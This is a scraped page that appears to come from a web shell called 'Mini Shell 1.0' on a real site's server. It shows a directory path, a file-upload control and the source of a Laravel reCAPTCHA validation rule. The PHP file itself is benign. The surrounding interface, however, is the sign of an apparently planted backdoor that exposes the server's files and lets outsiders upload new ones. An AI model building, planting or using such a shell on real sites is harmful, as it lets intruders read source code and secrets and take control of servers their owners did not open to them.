HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /var/www/devs.lapieza.net/app/Rules/Auth/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Rules/Auth/RecaptchaValidationRule.php
<?php

namespace App\Rules\Auth;

use Illuminate\Contracts\Validation\Rule;
use Illuminate\Support\Facades\Log;
use ReCaptcha\ReCaptcha;

class RecaptchaValidationRule implements Rule {
    public function passes($attribute, $value): bool {
        $recaptcha = new Recaptcha(config('app.recaptcha_secret'));
        $response = $recaptcha->verify($value);
        return $response->isSuccess();
    }

    public function message(): string {
        return 'El recaptcha es incorrecto.';
    }
}